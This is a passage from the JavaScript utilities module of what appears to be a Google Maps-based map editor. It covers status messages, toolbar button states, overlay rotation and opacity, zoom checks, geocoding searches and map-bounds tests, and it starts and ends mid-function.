MAPEDITOR.TRACER.addTracer(\"[INFO]: Could not find sticky message ID\");\n duplicateStickyMessage = false;\n }\n\n if (duplicateStickyMessage) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: same stick message as before, deleting...\");\n\n //remove that sticky message from the dom\n $(\"#\" + \"stickyMessage\" + MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount).remove();\n\n //remove that sticky message from the record\n MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount--;\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: new sticky message Count: \" + MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount);\n } else {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: create sticky message\");\n\n //keep a count of messages\n MAPEDITOR.GLOBAL.DEFINES.stickymessageCount++;\n\n //compile divID\n var currentDivId = \"stickyMessage\" + MAPEDITOR.GLOBAL.DEFINES.stickyMessageCount;\n\n //create unique message div\n var stickyMessageDiv = document.createElement(\"div\");\n stickyMessageDiv.setAttribute(\"id\", currentDivId);\n stickyMessageDiv.className = \"stickyMessage\";\n document.getElementById(\"content_message\").appendChild(stickyMessageDiv);\n\n //assign the message\n document.getElementById(currentDivId).innerHTML = stickyMessage;\n\n //show message\n document.getElementById(currentDivId).style.display = \"block\"; //display element\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: stickyMessage completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //display an inline sticky message (does not go away until duplicate is sent in)\n displayMessage: function (message) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayMessage started...\");\n //debug log this message\n MAPEDITOR.TRACER.addTracer(\"[INFO]: message #\" + MAPEDITOR.GLOBAL.DEFINES.messageCount + \": \" + message); //send to debugger for logging\n\n //keep a count of messages\n MAPEDITOR.GLOBAL.DEFINES.messageCount++;\n\n //check to see if RIB is on\n if (MAPEDITOR.GLOBAL.DEFINES.RIBMode == true) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: RIB Mode: \" + MAPEDITOR.GLOBAL.DEFINES.RIBMode);\n return;\n } else {\n //display the message\n\n //debug\n MAPEDITOR.TRACER.addTracer(\"[INFO]: RIB Mode: \" + MAPEDITOR.GLOBAL.DEFINES.RIBMode);\n\n //compile divID\n var currentDivId = \"message\" + MAPEDITOR.GLOBAL.DEFINES.messageCount;\n\n //create unique message div\n var messageDiv = document.createElement(\"div\");\n messageDiv.setAttribute(\"id\", currentDivId);\n messageDiv.className = \"message\";\n document.getElementById(\"content_message\").appendChild(messageDiv);\n\n //assign the message\n document.getElementById(currentDivId).innerHTML = message;\n\n //determine if duplicate message\n var duplicateMessage = false;\n try {\n if (document.getElementById(\"message\" + (MAPEDITOR.GLOBAL.DEFINES.messageCount - 1)).innerHTML == message) {\n duplicateMessage = true;\n }\n } catch (e) {\n //\n }\n\n if (duplicateMessage) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Same message to display as previous, not displaying\");\n //remove the previous\n $(\"#\" + \"message\" + (MAPEDITOR.GLOBAL.DEFINES.messageCount - 1)).remove();\n //display the new\n document.getElementById(currentDivId).style.display = \"block\"; //display element\n //fade message out\n setTimeout(function () {\n $(\"#\" + currentDivId).fadeOut(\"slow\", function () {\n $(\"#\" + currentDivId).remove();\n });\n }, 3000); //after 3 sec\n } else {\n //MAPEDITOR.TRACER.addTracer(\"[INFO]: Unique message to display\");\n //show message\n document.getElementById(currentDivId).style.display = \"block\"; //display element\n //fade message out\n setTimeout(function () {\n $(\"#\" + currentDivId).fadeOut(\"slow\", function () {\n $(\"#\" + currentDivId).remove();\n });\n }, 3000); //after 3 sec\n }\n\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayMessage completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //display an inline message\n buttonActive: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: buttonActive started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: buttonActive: \" + id);\n switch (id) {\n case \"mapControls\":\n if (MAPEDITOR.GLOBAL.DEFINES.mapControlsDisplayed == false) { //not present\n document.getElementById(\"content_menubar_toggleMapControls\").className = document.getElementById(\"content_menubar_toggleMapControls\").className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbar_button_toggleMapControls\").className = document.getElementById(\"content_toolbar_button_toggleMapControls\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n document.getElementById(\"content_toolbox_button_toggleMapControls\").className = document.getElementById(\"content_toolbox_button_toggleMapControls\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n } else { //present\n document.getElementById(\"content_menubar_toggleMapControls\").className += \" isActive2\";\n document.getElementById(\"content_toolbar_button_toggleMapControls\").className += \" isActive\";\n document.getElementById(\"content_toolbox_button_toggleMapControls\").className += \" isActive\";\n }\n break;\n case \"toolbox\":\n if (MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed == false) { //not present\n document.getElementById(\"content_menubar_toggleToolbox\").className = document.getElementById(\"content_menubar_toggleToolbox\").className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbar_button_toggleToolbox\").className = document.getElementById(\"content_toolbar_button_toggleToolbox\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n } else { //present\n document.getElementById(\"content_menubar_toggleToolbox\").className += \" isActive2\";\n document.getElementById(\"content_toolbar_button_toggleToolbox\").className += \" isActive\";\n }\n break;\n case \"toolbar\":\n if (MAPEDITOR.GLOBAL.DEFINES.toolbarDisplayed == false) { //not present\n document.getElementById(\"content_menubar_toggleToolbar\").className = document.getElementById(\"content_menubar_toggleToolbar\").className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n } else { //present\n document.getElementById(\"content_menubar_toggleToolbar\").className += \" isActive2\";\n }\n break;\n case \"layer\":\n if (MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive != null) {\n document.getElementById(\"content_menubar_layer\" + MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive).className = document.getElementById(\"content_menubar_layer\" + MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive).className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbar_button_layer\" + MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive).className = document.getElementById(\"content_toolbar_button_layer\" + MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive).className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n document.getElementById(\"content_toolbox_button_layer\" + MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive).className = document.getElementById(\"content_toolbox_button_layer\" + MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive).className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n }\n document.getElementById(\"content_menubar_layer\" + MAPEDITOR.GLOBAL.DEFINES.mapLayerActive).className += \" isActive2\";\n document.getElementById(\"content_toolbar_button_layer\" + MAPEDITOR.GLOBAL.DEFINES.mapLayerActive).className += \" isActive\";\n document.getElementById(\"content_toolbox_button_layer\" + MAPEDITOR.GLOBAL.DEFINES.mapLayerActive).className += \" isActive\";\n MAPEDITOR.GLOBAL.DEFINES.prevMapLayerActive = MAPEDITOR.GLOBAL.DEFINES.mapLayerActive; //set and hold the previous map layer active\n break;\n case \"kml\":\n if (MAPEDITOR.GLOBAL.DEFINES.kmlDisplayed == false) { //not present\n document.getElementById(\"content_menubar_layerCustom\").className = document.getElementById(\"content_menubar_layerCustom\").className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbar_button_layerCustom\").className = document.getElementById(\"content_toolbar_button_layerCustom\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n document.getElementById(\"content_toolbox_button_layerCustom\").className = document.getElementById(\"content_toolbox_button_layerCustom\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n } else { //present\n document.getElementById(\"content_menubar_layerCustom\").className += \" isActive2\";\n document.getElementById(\"content_toolbar_button_layerCustom\").className += \" isActive\";\n document.getElementById(\"content_toolbox_button_layerCustom\").className += \" isActive\";\n }\n break;\n case \"action\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: aa: \" + MAPEDITOR.GLOBAL.DEFINES.actionActive + \"<br>\" + \"paa: \" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive);\n if (MAPEDITOR.GLOBAL.DEFINES.actionActive == \"Other\") {\n try {\n if (MAPEDITOR.GLOBAL.DEFINES.prevActionActive != null) {\n document.getElementById(\"content_menubar_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className = document.getElementById(\"content_menubar_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbar_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className = document.getElementById(\"content_toolbar_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className = document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n }\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \\\"\" + e + \"\\\" (Could not find classname)\");\n }\n } else {\n if (MAPEDITOR.GLOBAL.DEFINES.prevActionActive != null) {\n document.getElementById(\"content_menubar_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className = document.getElementById(\"content_menubar_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbar_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className = document.getElementById(\"content_toolbar_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n if (document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive)) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: found \" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive);\n document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className = document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.prevActionActive).className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n }\n\n }\n document.getElementById(\"content_menubar_manage\" + MAPEDITOR.GLOBAL.DEFINES.actionActive).className += \" isActive2\";\n document.getElementById(\"content_toolbar_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.actionActive).className += \" isActive\";\n if (document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.actionActive)) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: found \" + MAPEDITOR.GLOBAL.DEFINES.actionActive);\n document.getElementById(\"content_toolbox_button_manage\" + MAPEDITOR.GLOBAL.DEFINES.actionActive).className += \" isActive\";\n }\n MAPEDITOR.GLOBAL.DEFINES.prevActionActive = MAPEDITOR.GLOBAL.DEFINES.actionActive; //set and hold the previous map layer active\n }\n break;\n case \"overlayToggle\":\n if (MAPEDITOR.GLOBAL.DEFINES.buttonActive_overlayToggle == false) { //not present\n document.getElementById(\"content_menubar_overlayToggle\").className += \" isActive2\";\n document.getElementById(\"content_toolbox_button_overlayToggle\").className += \" isActive\";\n MAPEDITOR.GLOBAL.DEFINES.buttonActive_overlayToggle = true;\n } else { //present\n document.getElementById(\"content_menubar_overlayToggle\").className = document.getElementById(\"content_menubar_overlayToggle\").className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbox_button_overlayToggle\").className = document.getElementById(\"content_toolbox_button_overlayToggle\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n MAPEDITOR.GLOBAL.DEFINES.buttonActive_overlayToggle = false;\n }\n break;\n case \"poiToggle\":\n if (MAPEDITOR.GLOBAL.DEFINES.buttonActive_poiToggle == false) { //not present\n document.getElementById(\"content_menubar_poiToggle\").className += \" isActive2\";\n document.getElementById(\"content_toolbox_button_poiToggle\").className += \" isActive\";\n MAPEDITOR.GLOBAL.DEFINES.buttonActive_poiToggle = true;\n } else { //present\n document.getElementById(\"content_menubar_poiToggle\").className = document.getElementById(\"content_menubar_poiToggle\").className.replace(/(?:^|\\s)isActive2(?!\\S)/g, '');\n document.getElementById(\"content_toolbox_button_poiToggle\").className = document.getElementById(\"content_toolbox_button_poiToggle\").className.replace(/(?:^|\\s)isActive(?!\\S)/g, '');\n MAPEDITOR.GLOBAL.DEFINES.buttonActive_poiToggle = false;\n }\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: buttonAction completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }, //facilitates button sticky effect\n confirmMessage: function (message) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: confirmMessage started...\");\n //todo make this a better messagebox (visually pleasing and auto cancel if no action taken)\n var response = confirm(message);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: confirmMessage completed...\");\n return response;\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n return false;\n }\n }, //This triggers a confirm messagebox\n polygonCenter: function (poly) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polygonCenter started...\");\n var lowx,\n highx,\n lowy,\n highy,\n lats = [],\n lngs = [],\n vertices = poly.getPath();\n\n for (var i = 0; i < vertices.length; i++) {\n lngs.push(vertices.getAt(i).lng());\n lats.push(vertices.getAt(i).lat());\n }\n\n lats.sort();\n lngs.sort();\n lowx = lats[0];\n highx = lats[vertices.length - 1];\n lowy = lngs[0];\n highy = lngs[vertices.length - 1];\n center_x = lowx + ((highx - lowx) / 2);\n center_y = lowy + ((highy - lowy) / 2);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: polygonCenter completed...\");\n return (new google.maps.LatLng(center_x, center_y));\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n rotate: function (degreeIn) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: rotate started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"yes\") {\n //if (MAPEDITOR.GLOBAL.DEFINES.pageMode == \"edit\") {\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"yes\"; //used to signify we are editing this overlay\n MAPEDITOR.GLOBAL.DEFINES.degree = MAPEDITOR.GLOBAL.DEFINES.preservedRotation;\n MAPEDITOR.GLOBAL.DEFINES.degree += degreeIn;\n if (degreeIn != 0) {\n $(function () {\n $(\"#overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).rotate(MAPEDITOR.GLOBAL.DEFINES.degree); //assign overlay to defined rotation\n });\n } else { //if rotation is 0, reset rotation\n $(function () {\n MAPEDITOR.GLOBAL.DEFINES.degree = 0;\n $(\"#overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).rotate(MAPEDITOR.GLOBAL.DEFINES.degree);\n });\n }\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = MAPEDITOR.GLOBAL.DEFINES.degree; //preserve rotation value\n //MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex] = MAPEDITOR.GLOBAL.DEFINES.preservedRotation; //just make sure it is prepping for save\n }\n if (MAPEDITOR.GLOBAL.DEFINES.degree > 180) {\n $('.knob').val(((MAPEDITOR.GLOBAL.DEFINES.degree - 360) * (1))).trigger('change'); //used to correct for visual effect of knob error\n\n } else {\n $('.knob').val(MAPEDITOR.GLOBAL.DEFINES.degree).trigger('change');\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: rotate completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n keepRotate: function (degreeIn) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keepRotate started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keepRotate: \" + degreeIn + \" woi: \" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"yes\"; //used to signify we are editing this overlay\n $(\"#overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex).rotate(degreeIn);\n if (degreeIn < 0) {\n $('.knob').val(((180 + degreeIn) + 180)).trigger('change');\n } else {\n $('.knob').val(degreeIn).trigger('change');\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keepRotate completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n opacity: function (opacityIn) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: opacity started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.preservedOpacity <= 1 && MAPEDITOR.GLOBAL.DEFINES.preservedOpacity >= 0) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: add opacity: \" + opacityIn + \" to overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n var div = document.getElementById(\"overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n var newOpacity = MAPEDITOR.GLOBAL.DEFINES.preservedOpacity + opacityIn;\n if (newOpacity > 1) {\n newOpacity = 1;\n }\n if (newOpacity < 0) {\n newOpacity = 0;\n }\n div.style.opacity = newOpacity;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: newOpacity: \" + newOpacity);\n MAPEDITOR.GLOBAL.DEFINES.preservedOpacity = newOpacity;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.preservedOpacity: \" + MAPEDITOR.GLOBAL.DEFINES.preservedOpacity);\n $(\"#overlayTransparencySlider\").slider({ value: MAPEDITOR.GLOBAL.DEFINES.preservedOpacity });\n } else {\n //could not change the opacity \n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: opacity completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n keepOpacity: function (opacityIn) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keepOpacity started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keepOpacity: \" + opacityIn);\n try {\n var div = document.getElementById(\"overlay\" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n div.style.opacity = opacityIn;\n } catch (e) {\n //\n }\n MAPEDITOR.GLOBAL.DEFINES.preservedOpacity = opacityIn;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: keepOpacity completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n checkZoomLevel: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: checkZoomLevel started...\");\n var currentZoomLevel = map.getZoom();\n var currentMapType = map.getMapTypeId();\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.maxZoomLevel) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L16);\n } else {\n switch (currentMapType) {\n case \"roadmap\": //roadmap and default\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.minZoomLevel_Roadmap) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L17);\n }\n break;\n case \"satellite\": //sat\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.minZoomLevel_Satellite) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L17);\n }\n break;\n case \"hybrid\": //sat\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.minZoomLevel_Satellite) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L17);\n }\n break;\n case \"terrain\": //terrain only\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.minZoomLevel_Terrain) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L17);\n }\n break;\n case \"blocklot\":\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.minZoomLevel_BlockLot) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L17);\n }\n break;\n }\n if (MAPEDITOR.GLOBAL.DEFINES.isCustomOverlay == true) {\n if (currentZoomLevel == MAPEDITOR.GLOBAL.DEFINES.minZoomLevel_BlockLot) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L17);\n }\n }\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: checkZoomLevel completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n displayCursorCoords: function (arg) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayCursorCoords started...\");\n document.getElementById(\"cCoord\").innerHTML = arg;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayCursorCoords completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n codeLatLng: function (latlng) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: codeLatLng started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.geocoder) {\n MAPEDITOR.GLOBAL.DEFINES.geocoder.geocode({ 'latLng': latlng }, function (results, status) {\n if (status == google.maps.GeocoderStatus.OK) {\n if (results[1]) {\n document.getElementById(\"content_toolbox_rgItem\").value = results[0].formatted_address;\n }\n else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L25 + \" \" + status);\n document.getElementById(\"content_toolbox_rgItem\").value = \"\";\n }\n }\n });\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: codeLatLng completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n codeAddress: function (type, geo) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: codeAddress started...\");\n var bounds = map.getBounds(); //get the current map bounds (should not be greater than the bounding box)\n MAPEDITOR.GLOBAL.DEFINES.geocoder.geocode({ 'address': geo, 'bounds': bounds }, function (results, status) { //geocode the lat/long of incoming with a bias towards the bounds\n if (status == google.maps.GeocoderStatus.OK) { //if it worked\n map.setCenter(results[0].geometry.location); //set the center of map to the results\n MAPEDITOR.UTILITIES.testBounds(); //test to make sure we are indeed in the bounds (have to do this because gmaps only allows for a BIAS of bounds and is not strict)\n if (MAPEDITOR.GLOBAL.DEFINES.mapInBounds == \"yes\") { //if it is inside bounds\n if (MAPEDITOR.GLOBAL.DEFINES.searchCount > 0) { //check to see if this is the first time searched, if not\n MAPEDITOR.GLOBAL.DEFINES.searchResult.setMap(null); //set old search result to not display on map\n } else { //if it is the first time\n MAPEDITOR.GLOBAL.DEFINES.searchCount++; //just interate\n }\n MAPEDITOR.GLOBAL.DEFINES.searchResult = new google.maps.Marker({ //create a new marker\n map: map, //add to current map\n position: results[0].geometry.location //set position to search results\n });\n var searchResult_i = 1; //temp, placeholder for later multi search result support\n document.getElementById(\"searchResults_list\").innerHTML = MAPEDITOR.UTILITIES.writeHTML(\"searchResultListItem\", searchResult_i, geo, \"\", \"\");\n } else { //if location found was outside strict map bounds...\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L24); //say so\n }\n\n } else { //if the entire geocode did not work\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L6); //MAPEDITOR.LOCALIZATION.DEFINES...\n MAPEDITOR.TRACER.addTracer(MAPEDITOR.LOCALIZATION.DEFINES.L6);\n }\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: codeAddress completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n finder: function (stuff) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Finder started...\");\n if (stuff.length > 0) {\n MAPEDITOR.UTILITIES.codeAddress(\"lookup\", stuff); //find the thing\n document.getElementById(\"content_menubar_searchField\").value = stuff; //sync menubar\n document.getElementById(\"content_toolbar_searchField\").value = stuff; //sync toolbar\n document.getElementById(\"content_toolbox_searchField\").value = stuff; //sync toolbox\n MAPEDITOR.ACTIONS.action(\"other\"); //needed to clear out any action buttons that may be active\n MAPEDITOR.TRACER.addTracer(\"[INFO]: opening\");\n MAPEDITOR.ACTIONS.openToolboxTab(1); //open the actions tab\n MAPEDITOR.TRACER.addTracer(\"[INFO]: supposedly opened\");\n } else {\n //do nothing and keep quiet\n MAPEDITOR.TRACER.addTracer(\"[INFO]: no stuff\");\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Finder completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n testBounds: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: testBounds started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.strictBounds != \"\") {\n if (MAPEDITOR.GLOBAL.DEFINES.strictBounds.contains(map.getCenter())) {\n MAPEDITOR.GLOBAL.DEFINES.mapInBounds = \"yes\";\n } else {\n MAPEDITOR.GLOBAL.DEFINES.mapInBounds = \"no\";\n map.panTo(MAPEDITOR.GLOBAL.DEFINES.mapCenter); //recenter\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L5);\n }\n } else {\n MAPEDITOR.GLOBAL.DEFINES.mapInBounds = \"yes\"; //explicitly state that because there are no bounds, we are allowing anything\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: testBounds completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n createOverlayFromPage: function (pageId) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createOverlayFromPage started...\");\n //assign convertedoverlay index\n MAPEDITOR.TRACER.addTracer(\"[INFO]: previous MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex: \" + MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex);\n MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex = pageId - 1;\n //select the area to draw the overlay\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L41);\n //define drawing manager todo: move this to a var to prevent future confusion. \n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingControl: false, drawingControlOptions: { position: google.maps.ControlPosition.RIGHT_TOP, drawingModes: [google.maps.drawing.OverlayType.RECTANGLE] }, rectangleOptions: MAPEDITOR.GLOBAL.DEFINES.rectangleOptionsOverlay });\n //set drawingmode to rectangle\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.RECTANGLE);\n //apply the changes\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(map);\n //go ahead and auto switch to editing mode\n MAPEDITOR.GLOBAL.DEFINES.pageMode = \"edit\";\n //indicate overlay placer\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"overlay\";\n //indicate that we drew this overlay\n MAPEDITOR.GLOBAL.DEFINES.overlayType = \"drawn\";\n //assign featuretype\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = \"TEMP_main\";\n //assign polygon type\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = \"TEMP_rectangle\";\n //add the rotation\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex] = 0;\n //add the working overlay index\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = MAPEDITOR.GLOBAL.DEFINES.convertedOverlayIndex + 1;\n ////add the working overlay index\n //if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex == null) {\n // MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = 0;\n //} else {\n // MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex++;\n //}\n //mark that there is at least one overlay on map\n MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = true;\n //flag that user may lose data\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: createOverlayFromPage completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n actionsACL: function (level, id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: ActionsACL started...\");\n switch (id) {\n case \"actions\":\n $('#content_menubar_manageOverlay').hide();\n 